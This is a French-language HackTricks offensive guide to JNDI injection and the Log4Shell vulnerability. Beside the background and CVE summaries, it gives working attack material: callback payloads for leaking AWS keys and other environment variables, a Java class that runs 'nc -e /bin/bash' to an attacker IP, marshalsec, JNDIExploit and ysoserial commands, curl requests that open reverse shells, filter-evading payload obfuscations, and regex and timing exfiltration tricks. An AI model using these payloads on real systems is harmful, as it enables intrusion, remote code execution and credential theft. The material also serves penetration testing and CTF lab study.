JNDI - Java Naming and Directory Interface & Log4Shell
Reading time: 23 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
JNDI, intégré à Java depuis la fin des années 1990, sert de service d'annuaire, permettant aux programmes Java de localiser des données ou des objets via un systÚme de nommage. Il prend en charge divers services d'annuaire via des interfaces de fournisseur de services (SPI), permettant la récupération de données à partir de différents systÚmes, y compris des objets Java distants. Les SPI courants incluent CORBA COS, Java RMI Registry et LDAP.
Référence de nommage JNDI
Les objets Java peuvent ĂȘtre stockĂ©s et rĂ©cupĂ©rĂ©s Ă l'aide de RĂ©fĂ©rences de Nommage JNDI, qui se prĂ©sentent sous deux formes :
- Adresses de Référence : Spécifie l'emplacement d'un objet (par exemple, rmi://server/ref), permettant une récupération directe à partir de l'adresse spécifiée.
- Usine distante : Fait référence à une classe d'usine distante. Lorsqu'elle est accédée, la classe est téléchargée et instanciée à partir de l'emplacement distant.
Cependant, ce mĂ©canisme peut ĂȘtre exploitĂ©, ce qui peut entraĂźner le chargement et l'exĂ©cution de code arbitraire. En tant que contre-mesure :
- RMI :
java.rmi.server.useCodeabseOnly = true
par dĂ©faut Ă partir de JDK 7u21, restreignant le chargement d'objets distants. Un Gestionnaire de SĂ©curitĂ© limite en outre ce qui peut ĂȘtre chargĂ©. - LDAP :
com.sun.jndi.ldap.object.trustURLCodebase = false
par défaut à partir de JDK 6u141, 7u131, 8u121, bloquant l'exécution d'objets Java chargés à distance. S'il est défini surtrue
, l'exécution de code à distance est possible sans la supervision d'un Gestionnaire de Sécurité. - CORBA : N'a pas de propriété spécifique, mais le Gestionnaire de Sécurité est toujours actif.
Cependant, le Gestionnaire de Nommage, responsable de la rĂ©solution des liens JNDI, manque de mĂ©canismes de sĂ©curitĂ© intĂ©grĂ©s, permettant potentiellement la rĂ©cupĂ©ration d'objets de n'importe quelle source. Cela pose un risque car les protections RMI, LDAP et CORBA peuvent ĂȘtre contournĂ©es, entraĂźnant le chargement d'objets Java arbitraires ou l'exploitation de composants d'application existants (gadgets) pour exĂ©cuter du code malveillant.
Des exemples d'URLs exploitables incluent :
- rmi://attacker-server/bar
- ldap://attacker-server/bar
- iiop://attacker-server/bar
Malgré les protections, des vulnérabilités subsistent, principalement en raison du manque de protections contre le chargement de JNDI à partir de sources non fiables et de la possibilité de contourner les protections existantes.
Exemple JNDI
MĂȘme si vous avez dĂ©fini un PROVIDER_URL
, vous pouvez en indiquer un différent dans une recherche et il sera accessible : ctx.lookup("<attacker-controlled-url>")
et c'est ce qu'un attaquant abusera pour charger des objets arbitraires Ă partir d'un systĂšme qu'il contrĂŽle.
Aperçu de CORBA
CORBA (Common Object Request Broker Architecture) utilise une Référence d'Objet Interopérable (IOR) pour identifier de maniÚre unique les objets distants. Cette référence inclut des informations essentielles telles que :
- Type ID : Identifiant unique pour une interface.
- Codebase : URL pour obtenir la classe stub.
Notamment, CORBA n'est pas intrinsÚquement vulnérable. Assurer la sécurité implique généralement :
- Installation d'un Gestionnaire de Sécurité.
- Configuration du Gestionnaire de SĂ©curitĂ© pour permettre les connexions Ă des codebases potentiellement malveillantes. Cela peut ĂȘtre rĂ©alisĂ© par :
- Permission de socket, par exemple,
permissions java.net.SocketPermission "*:1098-1099", "connect";
. - Permissions de lecture de fichiers, soit universelles (
permission java.io.FilePermission "<<ALL FILES>>", "read";
) ou pour des rĂ©pertoires spĂ©cifiques oĂč des fichiers malveillants pourraient ĂȘtre placĂ©s.
Cependant, certaines politiques de fournisseurs peuvent ĂȘtre indulgentes et permettre ces connexions par dĂ©faut.
Contexte RMI
Pour RMI (Remote Method Invocation), la situation est quelque peu différente. Comme avec CORBA, le téléchargement de classes arbitraires est restreint par défaut. Pour exploiter RMI, il faudrait généralement contourner le Gestionnaire de Sécurité, un exploit également pertinent dans CORBA.
LDAP
Tout d'abord, nous devons distinguer entre une recherche et une recherche de nom.
Une recherche utilisera une URL comme ldap://localhost:389/o=JNDITutorial
pour trouver l'objet JNDITutorial à partir d'un serveur LDAP et récupérer ses attributs.
Une recherche de nom est destinée aux services de nommage car nous voulons obtenir tout ce qui est lié à un nom.
Si la recherche LDAP a été invoquée avec SearchControls.setReturningObjFlag() avec true
, alors l'objet retourné sera reconstruit.
Par conséquent, il existe plusieurs façons d'attaquer ces options.
Un attaquant peut empoisonner les enregistrements LDAP en introduisant des charges utiles sur eux qui seront exécutées dans les systÚmes qui les collectent (trÚs utile pour compromettre des dizaines de machines si vous avez accÚs au serveur LDAP). Une autre façon d'exploiter cela serait de réaliser une attaque MitM dans une recherche LDAP, par exemple.
Dans le cas oĂč vous pouvez faire en sorte qu'une application rĂ©solve une URL JNDI LDAP, vous pouvez contrĂŽler le LDAP qui sera recherchĂ©, et vous pourriez renvoyer l'exploit (log4shell).
Exploit de désérialisation
L'exploit est sérialisé et sera désérialisé.
Dans le cas oĂč trustURLCodebase
est true
, un attaquant peut fournir ses propres classes dans la codebase sinon, il devra abuser des gadgets dans le classpath.
Exploit de référence JNDI
Il est plus facile d'attaquer ce LDAP en utilisant des références JavaFactory :
Vulnérabilité Log4Shell
La vulnérabilité est introduite dans Log4j car il prend en charge une syntaxe spéciale sous la forme ${prefix:name}
oĂč prefix
est l'un d'un certain nombre de Lookups oĂč name
doit ĂȘtre Ă©valuĂ©. Par exemple, ${java:version}
est la version actuelle de Java en cours d'exécution.
LOG4J2-313 a introduit une fonctionnalité de recherche jndi
. Cette fonctionnalité permet la récupération de variables via JNDI. En général, la clé est automatiquement préfixée par java:comp/env/
. Cependant, si la clĂ© elle-mĂȘme inclut un ":", ce prĂ©fixe par dĂ©faut n'est pas appliquĂ©.
Avec un : présent dans la clé, comme dans ${jndi:ldap://example.com/a}
, il n'y a pas de prĂ©fixe et le serveur LDAP est interrogĂ© pour l'objet. Et ces Lookups peuvent ĂȘtre utilisĂ©s Ă la fois dans la configuration de Log4j ainsi que lorsque des lignes sont enregistrĂ©es.
Par consĂ©quent, la seule chose nĂ©cessaire pour obtenir RCE est une version vulnĂ©rable de Log4j traitant des informations contrĂŽlĂ©es par l'utilisateur. Et parce que c'est une bibliothĂšque largement utilisĂ©e par les applications Java pour enregistrer des informations (y compris les applications exposĂ©es Ă Internet), il Ă©tait trĂšs courant d'avoir log4j enregistrant par exemple les en-tĂȘtes HTTP reçus comme le User-Agent. Cependant, log4j n'est pas utilisĂ© uniquement pour enregistrer des informations HTTP mais toute entrĂ©e et donnĂ©es que le dĂ©veloppeur a indiquĂ©es.
Aperçu des CVEs liés à Log4Shell
CVE-2021-44228 [Critique]
Cette vulnérabilité est un défaut de désérialisation non fiable dans le composant log4j-core
, affectant les versions de 2.0-beta9 à 2.14.1. Elle permet l'exécution de code à distance (RCE), permettant aux attaquants de prendre le contrÎle des systÚmes. Le problÚme a été signalé par Chen Zhaojun de l'équipe de sécurité d'Alibaba Cloud et affecte divers frameworks Apache. Le correctif initial dans la version 2.15.0 était incomplet. Des rÚgles Sigma pour la défense sont disponibles (RÚgle 1, RÚgle 2).
CVE-2021-45046 [Critique]
Initialement évalué comme faible mais ensuite reclassé comme critique, ce CVE est un défaut de Déni de Service (DoS) résultant d'un correctif incomplet dans 2.15.0 pour CVE-2021-44228. Il affecte les configurations non par défaut, permettant aux attaquants de provoquer des attaques DoS via des charges utiles conçues. Un tweet présente une méthode de contournement. Le problÚme est résolu dans les versions 2.16.0 et 2.12.2 en supprimant les modÚles de recherche de message et en désactivant JNDI par défaut.
CVE-2021-4104 [ĂlevĂ©]
Affectant les versions Log4j 1.x dans des configurations non par défaut utilisant JMSAppender
, ce CVE est un défaut de désérialisation non fiable. Aucun correctif n'est disponible pour la branche 1.x, qui est en fin de vie, et il est recommandé de passer à log4j-core 2.17.0
.
CVE-2021-42550 [Modéré]
Cette vulnérabilité affecte le framework de journalisation Logback, un successeur de Log4j 1.x. Précédemment considéré comme sûr, le framework a été trouvé vulnérable, et de nouvelles versions (1.3.0-alpha11 et 1.2.9) ont été publiées pour résoudre le problÚme.
CVE-2021-45105 [ĂlevĂ©]
Log4j 2.16.0 contient un défaut DoS, ce qui a conduit à la publication de log4j 2.17.0
pour corriger le CVE. Plus de détails sont dans le rapport de BleepingComputer.
CVE-2021-44832
Affectant la version log4j 2.17, ce CVE nécessite que l'attaquant contrÎle le fichier de configuration de log4j. Il implique une exécution potentielle de code arbitraire via un JDBCAppender configuré. Plus de détails sont disponibles dans le post de blog Checkmarx.
Exploitation de Log4Shell
DĂ©couverte
Cette vulnérabilité est trÚs facile à découvrir si elle n'est pas protégée car elle enverra au moins une demande DNS à l'adresse que vous indiquez dans votre charge utile. Par conséquent, des charges utiles comme :
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(utilisant canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(utilisant interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(utilisant Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(utilisant dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
(utilisant huntress)
Notez que mĂȘme si une demande DNS est reçue, cela ne signifie pas que l'application est exploitable (ou mĂȘme vulnĂ©rable), vous devrez essayer de l'exploiter.
note
N'oubliez pas que pour exploiter la version 2.15, vous devez ajouter le contournement de vérification localhost : ${jndi:ldap://127.0.0.1#...}
DĂ©couverte locale
Recherchez des versions vulnérables locales de la bibliothÚque avec :
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
VĂ©rification
Certaines des plateformes mentionnées précédemment vous permettront d'insérer des données variables qui seront enregistrées lorsqu'elles seront demandées.
Cela peut ĂȘtre trĂšs utile pour 2 choses :
- Pour vérifier la vulnérabilité
- Pour exfiltrer des informations en abusant de la vulnérabilité
Par exemple, vous pourriez demander quelque chose comme :
ou comme ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
et si une demande DNS est reçue avec la valeur de la variable d'environnement, vous savez que l'application est vulnérable.
Autres informations que vous pourriez essayer de leaker :
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
Informations sur RCE
note
Les hÎtes fonctionnant sur des versions de JDK supérieures à 6u141, 7u131 ou 8u121 sont protégés contre le vecteur d'attaque de chargement de classe LDAP. Cela est dû à la désactivation par défaut de com.sun.jndi.ldap.object.trustURLCodebase
, qui empĂȘche JNDI de charger une base de code distante via LDAP. Cependant, il est crucial de noter que ces versions ne sont pas protĂ©gĂ©es contre le vecteur d'attaque de dĂ©sĂ©rialisation.
Pour les attaquants cherchant Ă exploiter ces versions supĂ©rieures de JDK, il est nĂ©cessaire de tirer parti d'un gadget de confiance au sein de l'application Java. Des outils comme ysoserial ou JNDIExploit sont souvent utilisĂ©s Ă cet effet. En revanche, exploiter des versions infĂ©rieures de JDK est relativement plus facile car ces versions peuvent ĂȘtre manipulĂ©es pour charger et exĂ©cuter des classes arbitraires.
Pour plus d'informations (comme les limitations sur les vecteurs RMI et CORBA) consultez la section précédente sur la Référence de Nom JNDI ou https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
RCE - Marshalsec avec payload personnalisé
Vous pouvez tester cela dans la boĂźte THM : https://tryhackme.com/room/solar
Utilisez l'outil marshalsec (version jar disponible ici). Cette approche Ă©tablit un serveur de rĂ©fĂ©rence LDAP pour rediriger les connexions vers un serveur HTTP secondaire oĂč l'exploit sera hĂ©bergĂ© :
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
Pour inciter la cible à charger un code de reverse shell, créez un fichier Java nommé Exploit.java
avec le contenu ci-dessous :
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Compile le fichier Java en un fichier de classe en utilisant : javac Exploit.java -source 8 -target 8
. Ensuite, initiez un serveur HTTP dans le répertoire contenant le fichier de classe avec : python3 -m http.server
. Assurez-vous que le serveur LDAP marshalsec référence ce serveur HTTP.
Déclenchez l'exécution de la classe d'exploitation sur le serveur web vulnérable en envoyant une charge utile ressemblant à :
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Remarque : Cette exploitation repose sur la configuration de Java pour permettre le chargement de code à distance via LDAP. Si cela n'est pas permis, envisagez d'exploiter une classe de confiance pour l'exécution de code arbitraire.
RCE - JNDIExploit
note
Notez que pour une raison quelconque, l'auteur a retiré ce projet de github aprÚs la découverte de log4shell. Vous pouvez trouver une version mise en cache sur https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 mais si vous souhaitez respecter la décision de l'auteur, utilisez une méthode différente pour exploiter cette vulnérabilité.
De plus, vous ne pouvez pas trouver le code source dans wayback machine, donc soit analysez le code source, soit exécutez le jar en sachant que vous ne savez pas ce que vous exécutez.
Pour cet exemple, vous pouvez simplement exĂ©cuter ce serveur web vulnĂ©rable Ă log4shell sur le port 8080 : https://github.com/christophetd/log4shell-vulnerable-app (dans le README, vous trouverez comment l'exĂ©cuter). Cette application vulnĂ©rable enregistre avec une version vulnĂ©rable de log4shell le contenu de l'en-tĂȘte de requĂȘte HTTP X-Api-Version.
Ensuite, vous pouvez télécharger le fichier jar JNDIExploit et l'exécuter avec :
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
AprĂšs avoir lu le code pendant quelques minutes, dans com.feihong.ldap.LdapServer et com.feihong.ldap.HTTPServer, vous pouvez voir comment les serveurs LDAP et HTTP sont crĂ©Ă©s. Le serveur LDAP comprendra quel payload doit ĂȘtre servi et redirigera la victime vers le serveur HTTP, qui servira l'exploit.
Dans com.feihong.ldap.gadgets, vous pouvez trouver certains gadgets spĂ©cifiques qui peuvent ĂȘtre utilisĂ©s pour exĂ©cuter l'action souhaitĂ©e (potentiellement exĂ©cuter du code arbitraire). Et dans com.feihong.ldap.template, vous pouvez voir les diffĂ©rentes classes de modĂšles qui gĂ©nĂ©reront les exploits.
Vous pouvez voir tous les exploits disponibles avec java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Certains utiles sont :
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
Donc, dans notre exemple, nous avons déjà cette application docker vulnérable en cours d'exécution. Pour l'attaquer :
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
Lorsque vous envoyez les attaques, vous verrez une sortie dans le terminal oĂč vous avez exĂ©cutĂ© JNDIExploit-1.2-SNAPSHOT.jar.
N'oubliez pas de vérifier java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
pour d'autres options d'exploitation. De plus, si vous en avez besoin, vous pouvez changer le port des serveurs LDAP et HTTP.
RCE - JNDI-Exploit-Kit
De maniÚre similaire à l'exploit précédent, vous pouvez essayer d'utiliser JNDI-Exploit-Kit pour exploiter cette vulnérabilité.
Vous pouvez générer les URL à envoyer à la victime en exécutant :
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
Ce type d'attaque utilisant un objet Java généré sur mesure fonctionnera dans des laboratoires comme la THM solar room. Cependant, cela ne fonctionnera généralement pas (car par défaut, Java n'est pas configuré pour charger des bases de code distantes via LDAP) je pense parce que cela n'abuse pas d'une classe de confiance pour exécuter du code arbitraire.
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus est un autre outil pour générer des liens JNDI exploitables et fournir des services d'arriÚre-plan en démarrant un serveur RMI, un serveur LDAP et un serveur HTTP.\
RCE - ysoserial & JNDI-Exploit-Kit
Cette option est vraiment utile pour attaquer les versions Java configurĂ©es pour ne faire confiance qu'Ă des classes spĂ©cifiĂ©es et non Ă tout le monde. Par consĂ©quent, ysoserial sera utilisĂ© pour gĂ©nĂ©rer des sĂ©rialisations de classes de confiance qui peuvent ĂȘtre utilisĂ©es comme gadgets pour exĂ©cuter du code arbitraire (la classe de confiance abusĂ©e par ysoserial doit ĂȘtre utilisĂ©e par le programme Java de la victime pour que l'exploit fonctionne).
En utilisant ysoserial ou ysoserial-modified, vous pouvez créer l'exploit de désérialisation qui sera téléchargé par JNDI :
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Utilisez JNDI-Exploit-Kit pour gĂ©nĂ©rer des liens JNDI oĂč l'exploit attendra des connexions des machines vulnĂ©rables. Vous pouvez servir diffĂ©rents exploits qui peuvent ĂȘtre gĂ©nĂ©rĂ©s automatiquement par le JNDI-Exploit-Kit ou mĂȘme vos propres charges utiles de dĂ©sĂ©rialisation (gĂ©nĂ©rĂ©es par vous ou ysoserial).
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Maintenant, vous pouvez facilement utiliser un lien JNDI généré pour exploiter la vulnérabilité et obtenir un reverse shell simplement en l'envoyant à une version vulnérable de log4j : ${ldap://10.10.14.10:1389/generated}
Bypasses
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
Scanners automatiques
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - Trouver des bibliothÚques vulnérables locales
Laboratoires Ă tester
- LogForge HTB machine
- Try Hack Me Solar room
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Exploitation post-Log4Shell
Dans ce CTF writeup, il est bien expliqué comment il est potentiellement possible d'abuser de certaines fonctionnalités de Log4J.
La page de sécurité de Log4j contient des phrases intéressantes :
Ă partir de la version 2.16.0 (pour Java 8), la fonctionnalitĂ© de recherche de message a Ă©tĂ© complĂštement supprimĂ©e. Les recherches dans la configuration fonctionnent toujours. De plus, Log4j dĂ©sactive dĂ©sormais l'accĂšs Ă JNDI par dĂ©faut. Les recherches JNDI dans la configuration doivent dĂ©sormais ĂȘtre activĂ©es explicitement.
à partir de la version 2.17.0 (et 2.12.3 et 2.3.1 pour Java 7 et Java 6), seules les chaßnes de recherche dans la configuration sont étendues récursivement ; dans toute autre utilisation, seule la recherche de premier niveau est résolue, et les recherches imbriquées ne sont pas résolues.
Cela signifie qu'en rÚgle générale, vous pouvez oublier d'utiliser un exploit jndi
. De plus, pour effectuer des recherches récursives, vous devez les configurer.
Par exemple, dans ce CTF, cela a été configuré dans le fichier log4j2.xml :
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
Recherches d'environnement
Dans ce CTF, l'attaquant contrĂŽlait la valeur de ${sys:cmd}
et devait exfiltrer le drapeau d'une variable d'environnement.
Comme vu sur cette page dans les charges utiles précédentes, il existe différentes maniÚres d'accéder aux variables d'environnement, telles que : ${env:FLAG}
. Dans ce CTF, cela Ă©tait inutile mais cela pourrait ne pas l'ĂȘtre dans d'autres scĂ©narios rĂ©els.
Exfiltration dans les exceptions
Dans le CTF, vous ne pouviez pas accéder à stderr de l'application java utilisant log4J, mais les exceptions Log4J sont envoyées à stdout, qui étaient imprimées dans l'application python. Cela signifiait qu'en déclenchant une exception, nous pouvions accéder au contenu. Une exception pour exfiltrer le drapeau était : ${java:${env:FLAG}}
. Cela fonctionne parce que ${java:CTF{blahblah}}
n'existe pas et une exception avec la valeur du drapeau sera affichée :
Exceptions des modĂšles de conversion
Juste pour le mentionner, vous pouviez également injecter de nouveaux modÚles de conversion et déclencher des exceptions qui seront enregistrées dans stdout
. Par exemple :
Cela n'a pas Ă©tĂ© jugĂ© utile pour exfiltrer des donnĂ©es Ă l'intĂ©rieur du message d'erreur, car la recherche n'Ă©tait pas rĂ©solue avant le modĂšle de conversion, mais cela pourrait ĂȘtre utile pour d'autres choses comme la dĂ©tection.
Regex des modĂšles de conversion
Cependant, il est possible d'utiliser certains modÚles de conversion qui prennent en charge les regex pour exfiltrer des informations d'une recherche en utilisant des regex et en abusant des recherches binaires ou des comportements basés sur le temps.
- Recherche binaire via les messages d'exception
Le modĂšle de conversion %replace
peut ĂȘtre utilisĂ© pour remplacer le contenu d'une chaĂźne mĂȘme en utilisant des regex. Cela fonctionne comme suit : replace{pattern}{regex}{substitution}
En abusant de ce comportement, vous pourriez faire en sorte que le remplacement déclenche une exception si la regex correspondait à quoi que ce soit à l'intérieur de la chaßne (et pas d'exception si elle n'était pas trouvée) comme ceci :
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- Basé sur le temps
Comme mentionné dans la section précédente, %replace
prend en charge regexes. Il est donc possible d'utiliser un payload de la page ReDoS pour provoquer un timeout si le drapeau est trouvé.
Par exemple, un payload comme %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
déclencherait un timeout dans ce CTF.
Dans ce writeup, au lieu d'utiliser une attaque ReDoS, il a utilisé une attaque d'amplification pour provoquer une différence de temps dans la réponse :
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
Si le drapeau commence par
flagGuess
, l'ensemble du drapeau est remplacé par 29#
-s (j'ai utilisé ce caractÚre car il ne ferait probablement pas partie du drapeau). Chacun des 29#
-s résultants est ensuite remplacé par 54#
-s. Ce processus est répété 6 fois, ce qui donne un total de29*54*54^6* =`` ``
96816014208
#
-s!Remplacer autant de
#
-s déclenchera le timeout de 10 secondes de l'application Flask, ce qui entraßnera l'envoi du code d'état HTTP 500 à l'utilisateur. (Si le drapeau ne commence pas parflagGuess
, nous recevrons un code d'Ă©tat non-500)
Références
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.